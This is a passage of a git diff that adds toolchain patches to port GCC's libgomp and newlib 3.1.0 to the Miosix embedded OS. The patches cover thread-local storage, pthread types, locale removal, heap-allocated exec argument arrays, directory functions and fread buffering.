local_thr; +- thr = &local_thr; +- pthread_setspecific (gomp_tls_key, thr); ++ thr = gomp_initialize_tls_key (); + #endif + gomp_sem_init (&thr->release, 0); + +@@ -247,9 +259,13 @@ + /* Free a thread pool and release its threads. */ + + void +-gomp_free_thread (void *arg __attribute__((unused))) ++gomp_free_thread (void *arg) + { +- struct gomp_thread *thr = gomp_thread (); ++ // NOTE: we cannot call gomp_thread () here as it calls pthread_getspecific () ++ // and the POSIX semantics require the pthread_key value to be set to NULL ++ // before calling the destructor. We must get the struct gomp_thread pointer ++ // from the arg parameter! ++ struct gomp_thread *thr = (struct gomp_thread *) arg; + struct gomp_thread_pool *pool = thr->thread_pool; + if (pool) + { +@@ -999,10 +1015,8 @@ + initialize_team (void) + { + #if !defined HAVE_TLS && !defined USE_EMUTLS +- static struct gomp_thread initial_thread_tls_data; +- +- pthread_key_create (&gomp_tls_key, NULL); +- pthread_setspecific (gomp_tls_key, &initial_thread_tls_data); ++ pthread_key_create (&gomp_tls_key, gomp_delete_tls_key); ++ gomp_initialize_tls_key (); + #endif + + if (pthread_key_create (&gomp_thread_destructor, gomp_free_thread) != 0) diff --git a/tools/compiler/gcc-9.2.0-mp3.4/patches/newlib.patch b/tools/compiler/gcc-9.2.0-mp3.4/patches/newlib.patch new file mode 100644 index 000000000..4faa7fdc2 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/patches/newlib.patch @@ -0,0 +1,7755 @@ +diff -ruN newlib-3.1.0-old/newlib/configure.host newlib-3.1.0/newlib/configure.host +--- newlib-3.1.0-old/newlib/configure.host 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/configure.host 2025-01-29 08:51:09.185355614 +0100 +@@ -417,6 +417,10 @@ + stdio64_dir=stdio64 + xdr_dir=xdr + ;; ++ *-miosix-*) ++ sys_dir=miosix ++ posix_dir=posix ++ ;; + *-*-netware*) + signal_dir= + sys_dir=netware +@@ -628,6 +632,24 @@ + default_newlib_io_long_long="yes" + syscall_dir= + ;; ++ *-miosix-*) ++# Miosix requires a couple of tweaks that are #ifdef'd ++# REENTRANT_SYSCALLS_PROVIDED: as in libc/include/reent.h, disables the ++# syscall definition starting with an underscore in libc/reent ++# GETREENT_PROVIDED Miosix provides its own getreent to give per-thread reent ++# HAVE_BLKSIZE: BUFSIZ is kept small in Miosix to reduce RAM usage, especially on the stack. ++# therefore to optimize disk throughput, make sure the libc sets buffers based on st_blksize ++# HAVE_FCNTL: make fcntl available ++# HAVE_NANOSLEEP: provides support for sleep/usleep ++# _NO_POPEN: no popen() support in Miosix (missing fork()) ++# _NO_WORDEXP: no wordexp() support in Miosix (missing fork()) ++# _NO_POSIX_SPAWN: Miosix provides ths function as a syscall ++# _SMALL_HEXDIG: save 256 byte of RAM in stdlib/gdtoa-gethex.c ++# SIGNAL_PROVIDED: disable the implementation of signals in newlib ++# _EXECL_USE_MALLOC avoid unbounded stack allocation in exec*.c ++ newlib_cflags="${newlib_cflags} -DREENTRANT_SYSCALLS_PROVIDED -DGETREENT_PROVIDED -DHAVE_BLKSIZE -DHAVE_FCNTL -DHAVE_NANOSLEEP -D_NO_POPEN -D_NO_WORDEXP -D_NO_POSIX_SPAWN -D_SMALL_HEXDIG -DSIGNAL_PROVIDED -D_EXECL_USE_MALLOC" ++ newlib_cflags="${newlib_cflags} -Wall" ++ ;; + # RTEMS supplies its own versions of some routines: + # malloc() (reentrant version) + # exit() RTEMS has a "global" reent to flush +diff -ruN newlib-3.1.0-old/newlib/libc/include/locale.h newlib-3.1.0/newlib/libc/include/locale.h +--- newlib-3.1.0-old/newlib/libc/include/locale.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/locale.h 2024-07-26 22:02:58.645581943 +0200 +@@ -71,18 +71,20 @@ + char *_setlocale_r (struct _reent *, int, const char *); + struct lconv *_localeconv_r (struct _reent *); + ++#ifndef _MIOSIX + struct __locale_t *_newlocale_r (struct _reent *, int, const char *, + struct __locale_t *); + void _freelocale_r (struct _reent *, struct __locale_t *); + struct __locale_t *_duplocale_r (struct _reent *, struct __locale_t *); + struct __locale_t *_uselocale_r (struct _reent *, struct __locale_t *); ++#endif /* _MIOSIX */ + + #ifndef _REENT_ONLY + + char *setlocale (int, const char *); + struct lconv *localeconv (void); + +-#if __POSIX_VISIBLE >= 200809 ++#if __POSIX_VISIBLE >= 200809 && !defined(_MIOSIX) + locale_t newlocale (int, const char *, locale_t); + void freelocale (locale_t); + locale_t duplocale (locale_t); +diff -ruN newlib-3.1.0-old/newlib/libc/include/malloc.h newlib-3.1.0/newlib/libc/include/malloc.h +--- newlib-3.1.0-old/newlib/libc/include/malloc.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/malloc.h 2025-02-13 11:27:22.034784831 +0100 +@@ -34,36 +34,36 @@ + + /* The routines. */ + +-extern void *malloc (size_t); ++extern void *malloc (size_t) _NOTHROW; + #ifdef __CYGWIN__ + #undef _malloc_r + #define _malloc_r(r, s) malloc (s) + #else +-extern void *_malloc_r (struct _reent *, size_t); ++extern void *_malloc_r (struct _reent *, size_t) _NOTHROW; + #endif + +-extern void free (void *); ++extern void free (void *) _NOTHROW; + #ifdef __CYGWIN__ + #undef _free_r + #define _free_r(r, p) free (p) + #else +-extern void _free_r (struct _reent *, void *); ++extern void _free_r (struct _reent *, void *) _NOTHROW; + #endif + +-extern void *realloc (void *, size_t); ++extern void *realloc (void *, size_t) _NOTHROW; + #ifdef __CYGWIN__ + #undef _realloc_r + #define _realloc_r(r, p, s) realloc (p, s) + #else +-extern void *_realloc_r (struct _reent *, void *, size_t); ++extern void *_realloc_r (struct _reent *, void *, size_t) _NOTHROW; + #endif + +-extern void *calloc (size_t, size_t); ++extern void *calloc (size_t, size_t) _NOTHROW; + #ifdef __CYGWIN__ + #undef _calloc_r + #define _calloc_r(r, s1, s2) calloc (s1, s2); + #else +-extern void *_calloc_r (struct _reent *, size_t, size_t); ++extern void *_calloc_r (struct _reent *, size_t, size_t) _NOTHROW; + #endif + + extern void *memalign (size_t, size_t); +diff -ruN newlib-3.1.0-old/newlib/libc/include/sys/config.h newlib-3.1.0/newlib/libc/include/sys/config.h +--- newlib-3.1.0-old/newlib/libc/include/sys/config.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/sys/config.h 2024-07-26 22:02:58.645581943 +0200 +@@ -234,6 +234,14 @@ + #include + #endif + ++#ifdef _MIOSIX ++#define __BUFSIZ__ 256 /* Because Miosix threads often have small (<2KB) stacks */ ++#define _REENT_SMALL /* To save RAM */ ++#define _REENT_GLOBAL_ATEXIT /* No atexit stuff in _reent */ ++#define __DYNAMIC_REENT__ /* Enable __getreent() */ ++#define _REENT_GLOBAL_STDIO_STREAMS /* stdin/out/err shared for all threads */ ++#endif /* _MIOSIX */ ++ + #if defined(__rtems__) + #define __FILENAME_MAX__ 255 + #define _READ_WRITE_RETURN_TYPE _ssize_t +diff -ruN newlib-3.1.0-old/newlib/libc/include/sys/features.h newlib-3.1.0/newlib/libc/include/sys/features.h +--- newlib-3.1.0-old/newlib/libc/include/sys/features.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/sys/features.h 2025-04-15 11:54:43.088199900 +0200 +@@ -330,6 +330,17 @@ + # define __SSP_FORTIFY_LEVEL 0 + #endif + ++#ifdef _MIOSIX ++#define _POSIX_THREADS 1 /* Miosix provides pthread support */ ++#define _POSIX_THREAD_PRIO_INHERIT 1 ++#define _POSIX_THREAD_PRIO_PROTECT 1 ++#define _UNIX98_THREAD_MUTEX_ATTRIBUTES 1 /* Miosix provides recursive mutexes */ ++#define _POSIX_TIMEOUTS 1 ++#define _POSIX_TIMERS 1 /* for clock_gettime (c++11 chrono) */ ++#define _POSIX_CLOCK_SELECTION 1 /* for clock_nanosleep (c++11 thread)*/ ++#define _POSIX_MONOTONIC_CLOCK 1 /* for clock_gettime (c++11 chrono) */ ++#endif /* _MIOSIX */ ++ + /* RTEMS adheres to POSIX -- 1003.1b with some features from annexes. */ + + #ifdef __rtems__ +diff -ruN newlib-3.1.0-old/newlib/libc/include/sys/_pthreadtypes.h newlib-3.1.0/newlib/libc/include/sys/_pthreadtypes.h +--- newlib-3.1.0-old/newlib/libc/include/sys/_pthreadtypes.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/sys/_pthreadtypes.h 2025-04-16 15:31:12.712632770 +0200 +@@ -143,6 +143,8 @@ + + #endif /* !defined(_UNIX98_THREAD_MUTEX_ATTRIBUTES) */ + ++#ifndef _MIOSIX ++ + #if defined(__XMK__) + typedef unsigned int pthread_mutex_t; /* identify a mutex */ + +@@ -171,11 +173,45 @@ + + #define _PTHREAD_MUTEX_INITIALIZER ((pthread_mutex_t) 0xFFFFFFFF) + ++#else /* _MIOSIX */ ++/* ++ * The definition of pthread_mutex_t: ++ * - has been changed from a simple int to a struct containing the actual mutex ++ * implementation for speed reasons. ++ * - has been moved to sys/lock.h because leaving it here and #including sys/_pthreadtypes.h ++ * in sys/lock.h would have caused a cycle of #includes ++ */ ++typedef struct { ++ char is_initialized; ++ char prio; ++ char recursive; ++} pthread_mutexattr_t; ++ ++#define _PTHREAD_MUTEX_INITIALIZER {0,-1,0,0,0,0,0} ++/* NOTE: this is not defined in pthread.h, so no leading underscore */ ++#define PTHREAD_MUTEX_RECURSIVE_INITIALIZER_NP {0,0,0,0,0,0,0} ++#endif /* _MIOSIX */ ++ + /* Condition Variables */ + ++#ifndef _MIOSIX + typedef __uint32_t pthread_cond_t; /* identify a condition variable */ + + #define _PTHREAD_COND_INITIALIZER ((pthread_cond_t) 0xFFFFFFFF) ++#else /* _MIOSIX */ ++/* ++ * The definition of pthread_cond_t has been changed from an int to a struct ++ * with the memory layout of the condition variable type for speed reasons. ++ */ ++typedef struct ++{ ++ void *field1; /* Opaque fields */ ++ void *field2; /* Opaque fields */ ++ void *field3; /* Opaque fields */ ++} pthread_cond_t; ++ ++#define _PTHREAD_COND_INITIALIZER {0,0,0} ++#endif /* _MIOSIX */ + + typedef struct { + int is_initialized; +diff -ruN newlib-3.1.0-old/newlib/libc/include/sys/reent.h newlib-3.1.0/newlib/libc/include/sys/reent.h +--- newlib-3.1.0-old/newlib/libc/include/sys/reent.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/sys/reent.h 2024-07-26 22:02:58.645581943 +0200 +@@ -386,8 +386,10 @@ + + int __sdidinit; /* 1 means stdio has been init'd */ + ++# ifndef _MIOSIX + int _unspecified_locale_info; /* unused, reserved for locale stuff */ + struct __locale_t *_locale;/* per-thread locale */ ++# endif /* _MIOSIX */ + + struct _mprec *_mp; + +@@ -403,8 +405,10 @@ + struct __tm *_localtime_buf; + char *_asctime_buf; + ++# ifndef _MIOSIX + /* signal info */ + void (**(_sig_func))(int); ++# endif /* _MIOSIX */ + + # ifndef _REENT_GLOBAL_ATEXIT + /* atexit stuff */ +@@ -413,7 +417,9 @@ + # endif + + struct _glue __sglue; /* root of glue chain */ ++# ifndef _MIOSIX + __FILE *__sf; /* file descriptors */ ++# endif /* _MIOSIX */ + struct _misc_reent *_misc; /* strtok, multibyte states */ + char *_signal_buf; /* strsignal */ + }; +@@ -421,6 +427,7 @@ + #ifdef _REENT_GLOBAL_STDIO_STREAMS + extern __FILE __sf[3]; + ++#ifndef _MIOSIX + # define _REENT_INIT(var) \ + { 0, \ + &__sf[0], \ +@@ -446,6 +453,37 @@ + _NULL, \ + _NULL \ + } ++#else /* _MIOSIX */ ++/* ++ * Same as above but with the _current_locale, _current_category, ++ * _atexit and _atexit0 fields removed ++ */ ++# define _REENT_INIT(var) \ ++ { 0, \ ++ &__sf[0], \ ++ &__sf[1], \ ++ &__sf[2], \ ++ 0, \ ++ _NULL, \ ++ 0, \ ++ /* 0, */ \ ++ /* _NULL, */ \ ++ _NULL, \ ++ _NULL, \ ++ 0, \ ++ 0, \ ++ _NULL, \ ++ _NULL, \ ++ _NULL, \ ++ _NULL, \ ++ /* _NULL, */ \ ++ _REENT_INIT_ATEXIT \ ++ {_NULL, 0, _NULL}, \ ++ /* _NULL, */ \ ++ _NULL, \ ++ _NULL \ ++ } ++#endif /* _MIOSIX */ + + #define _REENT_INIT_PTR_ZEROED(var) \ + { (var)->_stdin = &__sf[0]; \ +diff -ruN newlib-3.1.0-old/newlib/libc/include/sys/_types.h newlib-3.1.0/newlib/libc/include/sys/_types.h +--- newlib-3.1.0-old/newlib/libc/include/sys/_types.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/include/sys/_types.h 2024-07-26 22:02:58.645581943 +0200 +@@ -67,7 +67,7 @@ + + #ifndef __machine_ino_t_defined + #if (defined(__i386__) && (defined(GO32) || defined(__MSDOS__))) || \ +- defined(__sparc__) || defined(__SPU__) ++ defined(__sparc__) || defined(__SPU__) || defined(_MIOSIX) + typedef unsigned long __ino_t; + #else + typedef unsigned short __ino_t; +diff -ruN newlib-3.1.0-old/newlib/libc/locale/duplocale.c newlib-3.1.0/newlib/libc/locale/duplocale.c +--- newlib-3.1.0-old/newlib/libc/locale/duplocale.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/locale/duplocale.c 2024-07-26 22:02:58.645581943 +0200 +@@ -39,6 +39,8 @@ + #include + #include "setlocale.h" + ++#ifndef _MIOSIX ++ + struct __locale_t * + _duplocale_r (struct _reent *p, struct __locale_t *locobj) + { +@@ -100,3 +102,5 @@ + return _duplocale_r (_REENT, locobj); + } + #endif ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-3.1.0-old/newlib/libc/locale/freelocale.c newlib-3.1.0/newlib/libc/locale/freelocale.c +--- newlib-3.1.0-old/newlib/libc/locale/freelocale.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/locale/freelocale.c 2024-07-26 22:02:58.645581943 +0200 +@@ -37,6 +37,8 @@ + #include + #include "setlocale.h" + ++#ifndef _MIOSIX ++ + void + _freelocale_r (struct _reent *p, struct __locale_t *locobj) + { +@@ -62,3 +64,5 @@ + { + _freelocale_r (_REENT, locobj); + } ++ ++#endif /*_MIOSIX */ +diff -ruN newlib-3.1.0-old/newlib/libc/locale/locale.c newlib-3.1.0/newlib/libc/locale/locale.c +--- newlib-3.1.0-old/newlib/libc/locale/locale.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/locale/locale.c 2024-07-26 22:02:58.645581943 +0200 +@@ -240,6 +240,25 @@ + }; + #endif /* _MB_CAPABLE */ + ++#ifdef _MIOSIX ++/* ++ * A note on locales: there are two sets of locale-related primitives: ++ * the first is setlocale/localeconv/nl_langinfo, ++ * the second is newlocale/freelocale/duplocale/uselocale. ++ * ++ * newlib for Miosix is compiled without _MB_CAPABLE, so, setlocale just does ++ * nothing, and localeconv/nl_langinfo return non-const pointers however ++ * "According to POSIX, the caller should not modify the contents of this structure" ++ * ++ * The second set of primitives is not used by Miosix and neither by libstdc++ ++ * (checked with "cat libstdc++.a | strings | grep ''") ++ * and can simply be commented out as for Miosix locale is not a priority. ++ * ++ * All this to say that it is safe to make __global_locale const and save more ++ * than 200 bytes of RAM. ++ */ ++const ++#endif /* _MIOSIX */ + struct __locale_t __global_locale = + { + { "C", "C", DEFAULT_LOCALE, "C", "C", "C", "C", }, +diff -ruN newlib-3.1.0-old/newlib/libc/locale/newlocale.c newlib-3.1.0/newlib/libc/locale/newlocale.c +--- newlib-3.1.0-old/newlib/libc/locale/newlocale.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/locale/newlocale.c 2024-07-26 22:02:58.645581943 +0200 +@@ -82,6 +82,8 @@ + #define LC_VALID_MASK (LC_COLLATE_MASK | LC_CTYPE_MASK | LC_MONETARY_MASK \ + | LC_NUMERIC_MASK | LC_TIME_MASK | LC_MESSAGES_MASK) + ++#ifndef _MIOSIX ++ + struct __locale_t * + _newlocale_r (struct _reent *p, int category_mask, const char *locale, + struct __locale_t *base) +@@ -220,3 +222,5 @@ + { + return _newlocale_r (_REENT, category_mask, locale, base); + } ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-3.1.0-old/newlib/libc/locale/setlocale.h newlib-3.1.0/newlib/libc/locale/setlocale.h +--- newlib-3.1.0-old/newlib/libc/locale/setlocale.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/locale/setlocale.h 2024-07-26 22:02:58.645581943 +0200 +@@ -209,8 +209,13 @@ + _ELIDABLE_INLINE struct __locale_t * + __get_global_locale () + { ++#ifndef _MIOSIX + extern struct __locale_t __global_locale; + return &__global_locale; ++#else /* _MIOSIX */ ++ extern const struct __locale_t __global_locale; ++ return (struct __locale_t *)(&__global_locale); ++#endif /* _MIOSIX */ + } + + /* Per REENT locale. This is newlib-internal. */ +diff -ruN newlib-3.1.0-old/newlib/libc/locale/uselocale.c newlib-3.1.0/newlib/libc/locale/uselocale.c +--- newlib-3.1.0-old/newlib/libc/locale/uselocale.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/locale/uselocale.c 2024-07-26 22:02:58.645581943 +0200 +@@ -55,6 +55,8 @@ + #include + #include "setlocale.h" + ++#ifndef _MIOSIX ++ + struct __locale_t * + _uselocale_r (struct _reent *p, struct __locale_t *newloc) + { +@@ -77,3 +79,5 @@ + return _uselocale_r (_REENT, newloc); + } + #endif ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-3.1.0-old/newlib/libc/posix/closedir.c newlib-3.1.0/newlib/libc/posix/closedir.c +--- newlib-3.1.0-old/newlib/libc/posix/closedir.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/closedir.c 2024-07-26 22:02:58.645581943 +0200 +@@ -57,7 +57,15 @@ + __lock_acquire_recursive(dirp->dd_lock); + #endif + rc = close(dirp->dd_fd); ++#ifndef _MIOSIX + _cleanupdir(dirp); ++#else /* _MIOSIX */ ++ /* ++ * A call through a pointer avoids pulling in _cleanupdir, which brings ++ * in 128 bytes of BSS, unless user code actually uses seekdir/telldir. ++ */ ++ if(dirp->dd_onclose) dirp->dd_onclose(dirp); ++#endif /* _MIOSIX */ + free((void *)dirp->dd_buf); + #ifdef HAVE_DD_LOCK + __lock_release_recursive(dirp->dd_lock); +diff -ruN newlib-3.1.0-old/newlib/libc/posix/execl.c newlib-3.1.0/newlib/libc/posix/execl.c +--- newlib-3.1.0-old/newlib/libc/posix/execl.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/execl.c 2025-01-28 23:42:31.061928012 +0100 +@@ -7,6 +7,9 @@ + + #include <_ansi.h> + #include ++#include ++#include ++#include + + /* Only deal with a pointer to environ, to work around subtle bugs with shared + libraries and/or small data systems where the user declares his own +@@ -24,7 +27,24 @@ + { + int i; + va_list args; +- const char *argv[256]; ++ const char **argv; ++ ++ i = 1; ++ va_start (args, arg0); ++ do ++ i++; ++ while (va_arg (args, const char *) != NULL); ++ va_end (args); ++#ifndef _EXECL_USE_MALLOC ++ argv = alloca (i * sizeof(const char *)); ++#else ++ argv = malloc (i * sizeof(const char *)); ++ if (argv == NULL) ++ { ++ errno = ENOMEM; ++ return -1; ++ } ++#endif + + va_start (args, arg0); + argv[0] = arg0; +@@ -34,6 +54,10 @@ + while (argv[i++] != NULL); + va_end (args); + +- return _execve (path, (char * const *) argv, *p_environ); ++ i = _execve (path, (char * const *) argv, *p_environ); ++#ifdef _EXECL_USE_MALLOC ++ free (argv); ++#endif ++ return i; + } + #endif /* !_NO_EXECVE */ +diff -ruN newlib-3.1.0-old/newlib/libc/posix/execle.c newlib-3.1.0/newlib/libc/posix/execle.c +--- newlib-3.1.0-old/newlib/libc/posix/execle.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/execle.c 2025-01-28 23:42:33.421948503 +0100 +@@ -7,6 +7,9 @@ + + #include <_ansi.h> + #include ++#include ++#include ++#include + + + #include +@@ -20,7 +23,24 @@ + int i; + va_list args; + const char * const *envp; +- const char *argv[256]; ++ const char **argv; ++ ++ i = 1; ++ va_start (args, arg0); ++ do ++ i++; ++ while (va_arg (args, const char *) != NULL); ++ va_end (args); ++#ifndef _EXECL_USE_MALLOC ++ argv = alloca (i * sizeof(const char *)); ++#else ++ argv = malloc (i * sizeof(const char *)); ++ if (argv == NULL) ++ { ++ errno = ENOMEM; ++ return -1; ++ } ++#endif + + va_start (args, arg0); + argv[0] = arg0; +@@ -31,7 +51,11 @@ + envp = va_arg (args, const char * const *); + va_end (args); + +- return _execve (path, (char * const *) argv, (char * const *) envp); ++ i = _execve (path, (char * const *) argv, (char * const *) envp); ++#ifdef _EXECL_USE_MALLOC ++ free (argv); ++#endif ++ return i; + } + + #endif /* !_NO_EXECVE */ +diff -ruN newlib-3.1.0-old/newlib/libc/posix/execlp.c newlib-3.1.0/newlib/libc/posix/execlp.c +--- newlib-3.1.0-old/newlib/libc/posix/execlp.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/execlp.c 2025-01-28 23:42:35.065962787 +0100 +@@ -7,6 +7,9 @@ + + #include <_ansi.h> + #include ++#include ++#include ++#include + + + #include +@@ -19,7 +22,24 @@ + { + int i; + va_list args; +- const char *argv[256]; ++ const char **argv; ++ ++ i = 1; ++ va_start (args, arg0); ++ do ++ i++; ++ while (va_arg (args, const char *) != NULL); ++ va_end (args); ++#ifndef _EXECL_USE_MALLOC ++ argv = alloca (i * sizeof(const char *)); ++#else ++ argv = malloc (i * sizeof(const char *)); ++ if (argv == NULL) ++ { ++ errno = ENOMEM; ++ return -1; ++ } ++#endif + + va_start (args, arg0); + argv[0] = arg0; +@@ -29,7 +49,11 @@ + while (argv[i++] != NULL); + va_end (args); + +- return execvp (path, (char * const *) argv); ++ i = execvp (path, (char * const *) argv); ++#ifdef _EXECL_USE_MALLOC ++ free (argv); ++#endif ++ return i; + } + + #endif /* !_NO_EXECVE */ +diff -ruN newlib-3.1.0-old/newlib/libc/posix/_isatty.c newlib-3.1.0/newlib/libc/posix/_isatty.c +--- newlib-3.1.0-old/newlib/libc/posix/_isatty.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/_isatty.c 2024-07-26 22:02:58.645581943 +0200 +@@ -2,6 +2,11 @@ + + /* Dumb implementation so programs will at least run. */ + ++/* ++ * Miosix has isatty() ++ */ ++#ifndef _MIOSIX ++ + #include + #include + +@@ -19,3 +24,5 @@ + errno = ENOTTY; + return 0; + } ++ ++#endif /* _MIOSIX */ +\ No newline at end of file +diff -ruN newlib-3.1.0-old/newlib/libc/posix/isatty.c newlib-3.1.0/newlib/libc/posix/isatty.c +--- newlib-3.1.0-old/newlib/libc/posix/isatty.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/isatty.c 2024-07-26 22:02:58.645581943 +0200 +@@ -1,5 +1,10 @@ + /* isatty.c */ + ++/* ++ * Miosix has isatty() ++ */ ++#ifndef _MIOSIX ++ + #include + #include + +@@ -8,3 +13,5 @@ + { + return _isatty (fd); + } ++ ++#endif /* _MIOSIX */ +\ No newline at end of file +diff -ruN newlib-3.1.0-old/newlib/libc/posix/opendir.c newlib-3.1.0/newlib/libc/posix/opendir.c +--- newlib-3.1.0-old/newlib/libc/posix/opendir.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/opendir.c 2024-07-26 22:02:58.645581943 +0200 +@@ -58,8 +58,16 @@ + * Hopefully this can be a big win someday by allowing page trades + * to user space to be done by getdirentries() + */ ++#ifndef _MIOSIX + dirp->dd_buf = malloc (512); + dirp->dd_len = 512; ++#else /* _MIOSIX */ ++ /* Allocate the minimum possible size */ ++ dirp->dd_buf = malloc (sizeof(struct dirent)); ++ dirp->dd_len = sizeof(struct dirent); ++ /* Assume seekdir/telldir unused until they're actually called */ ++ dirp->dd_onclose = NULL; ++#endif /* _MIOSIX */ + + if (dirp->dd_buf == NULL) { + free (dirp); +diff -ruN newlib-3.1.0-old/newlib/libc/posix/rewinddir.c newlib-3.1.0/newlib/libc/posix/rewinddir.c +--- newlib-3.1.0-old/newlib/libc/posix/rewinddir.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/rewinddir.c 2024-07-26 22:02:58.649581998 +0200 +@@ -47,7 +47,16 @@ + #ifdef HAVE_DD_LOCK + __lock_acquire_recursive(dirp->dd_lock); + #endif ++ ++#ifndef _MIOSIX + _seekdir((dirp), 0L); ++#else /* _MIOSIX */ ++ /* This avoids pulling in _seekdir, which brings in 128 byte of BSS */ ++ (void) lseek(dirp->dd_fd, 0, 0); ++ dirp->dd_seek = 0; ++ dirp->dd_loc = 0; ++#endif /* _MIOSIX */ ++ + #ifdef HAVE_DD_LOCK + __lock_release_recursive(dirp->dd_lock); + #endif +diff -ruN newlib-3.1.0-old/newlib/libc/posix/telldir.c newlib-3.1.0/newlib/libc/posix/telldir.c +--- newlib-3.1.0-old/newlib/libc/posix/telldir.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/telldir.c 2024-07-26 22:02:58.649581998 +0200 +@@ -74,6 +74,8 @@ + __LOCK_INIT(static, __dd_hash_mutex); + #endif + ++void _cleanupdir (register DIR *dirp); ++ + /* + * return a pointer into a directory + */ +@@ -95,6 +97,9 @@ + __lock_acquire(__dd_hash_mutex); + #endif + #endif ++#ifdef _MIOSIX ++ dirp->dd_onclose=_cleanupdir; ++#endif /* _MIOSIX */ + index = dd_loccnt++; + lp->loc_index = index; + lp->loc_seek = dirp->dd_seek; +@@ -129,6 +134,9 @@ + __lock_acquire(__dd_hash_mutex); + #endif + if (loc != 0) { ++#ifdef _MIOSIX ++ dirp->dd_onclose=_cleanupdir; ++#endif /* _MIOSIX */ + prevlp = &dd_hash[LOCHASH(loc)]; + lp = *prevlp; + while (lp != NULL) { +diff -ruN newlib-3.1.0-old/newlib/libc/stdio/fread.c newlib-3.1.0/newlib/libc/stdio/fread.c +--- newlib-3.1.0-old/newlib/libc/stdio/fread.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/stdio/fread.c 2024-07-28 11:45:00.366996203 +0200 +@@ -84,6 +84,8 @@ + #include + #include + #include ++#include ++#include + #include "local.h" + + #ifdef __IMPL_UNLOCKED__ +@@ -91,6 +93,8 @@ + #define fread fread_unlocked + #endif + ++#define MIN(a, b) ((a) < (b) ? (a) : (b)) ++ + #ifdef __SCLE + static size_t + crlf_r (struct _reent * ptr, +@@ -166,23 +170,77 @@ + + #if !defined(PREFER_SIZE_OVER_SPEED) && !defined(__OPTIMIZE_SIZE__) + +- /* Optimize unbuffered I/O. */ ++ int buffer_size; + if (fp->_flags & __SNBF) ++ buffer_size = 1; /* Unbuffered file, buffer_size is 1 see __smakebuf_r */ ++ else ++ { ++ if (fp->_bf._base == NULL) ++ __smakebuf_r (ptr, fp); ++ buffer_size = fp->_bf._size; /* fp->_bf._size is zero until __smakebuf_r */ ++ } ++ ++ /* Optimize unbuffered I/O and large reads. */ ++ if (resid >= buffer_size) + { +- /* First copy any available characters from ungetc buffer. */ +- int copy_size = resid > fp->_r ? fp->_r : resid; +- (void) memcpy ((void *) p, (void *) fp->_p, (size_t) copy_size); +- fp->_p += copy_size; +- fp->_r -= copy_size; +- p += copy_size; +- resid -= copy_size; +- +- /* If still more data needed, free any allocated ungetc buffer. */ +- if (HASUB (fp) && resid > 0) +- FREEUB (ptr, fp); ++ /* If we were writing, need to flush in case the file was buffered. ++ This code was taken from __srefill_r */ ++ if ((fp->_flags & __SRD) == 0) ++ { ++ if ((fp->_flags & __SRW) == 0) ++ { ++ ptr->_errno = EBADF; ++ fp->_flags |= __SERR; ++ _newlib_flockfile_exit (fp); ++ return 0; ++ } ++ /* switch to reading */ ++ if (fp->_flags & __SWR) ++ { ++ if (__sflush_r (ptr, fp)) ++ { ++ _newlib_flockfile_exit (fp); ++ return 0; ++ } ++ fp->_flags &= ~__SWR; ++ fp->_w = 0; ++ fp->_lbfsize = 0; ++ } ++ fp->_flags |= __SRD; ++ } ++ else ++ { ++ /* ++ * We were reading. There may be data in up to two buffers, the ++ * file buffer if this is a buffered file, and the ungetc buffer, ++ * that can exist also in unbuffered files. ++ * This loop can iterate at most twice, the first time when we consume ++ * the ungetc buffer and restore the file buffer, and the second time ++ * when we consume the file buffer. ++ */ ++ int copy_size; ++ while ((copy_size = resid > fp->_r ? fp->_r : resid) > 0) ++ { ++ (void) memcpy ((void *) p, (void *) fp->_p, (size_t) copy_size); ++ fp->_p += copy_size; ++ fp->_r -= copy_size; ++ p += copy_size; ++ resid -= copy_size; ++ ++ /* If still more data needed, free any allocated ungetc buffer. */ ++ if (HASUB (fp) && resid > 0) ++ { ++ FREEUB (ptr, fp); ++ /* Code taken from __srefill_r, does anybody know why we don't ++ * unconditionally restore fp->_p? */ ++ if ((fp->_r = fp->_ur) != 0) ++ fp->_p = fp->_up; ++ } ++ } ++ } + + /* Finally read directly into user's buffer if needed. */ +- while (resid > 0) ++ while (resid >= buffer_size) + { + int rc = 0; + /* save fp buffering state */ +@@ -191,7 +249,7 @@ + int old_size = fp->_bf._size; + /* allow __refill to use user's buffer */ + fp->_bf._base = (unsigned char *) p; +- fp->_bf._size = resid; ++ fp->_bf._size = ((int)MIN (resid, INT_MAX)) / buffer_size * buffer_size; + fp->_p = (unsigned char *) p; + rc = __srefill_r 